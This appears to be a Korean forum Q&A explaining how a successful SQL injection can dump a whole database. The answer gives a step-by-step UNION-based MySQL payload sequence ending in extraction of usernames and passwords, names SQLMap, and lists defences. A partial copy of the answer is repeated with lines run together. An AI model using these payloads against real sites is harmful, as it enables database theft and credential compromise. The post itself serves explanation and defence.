SQL Injection이 성공하면 DB 전체 데이터를 가져올 수 있는 건가요? 어떤 과정인지 궁금합니다.
SQL Injection 성공 시 DB 전체 덤프가 가능할 수 있습니다.
공격 단계 (MySQL 예시):
' UNION SELECT version()-- -
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT CONCAT(username,':',password) FROM users-- -
자동화 도구: SQLMap이 이 과정을 자동으로 수행합니다.
방어: Prepared Statement + 최소 권한 DB 계정(SELECT만 필요한 곳에 SELECT만 부여) + WAF
댓글 3
SQL Injection 성공 시 DB 전체 덤프가 가능할 수 있습니다.
공격 단계 (MySQL 예시):
' UNION SELECT version()-- -자동화 도구: SQLMap이 이 과정을 자동으로 수행합니다.
방어: Prepared Statement + 최소 권한 DB 계정(SELECT만 필요한 곳에 SELECT만 부여) + WAF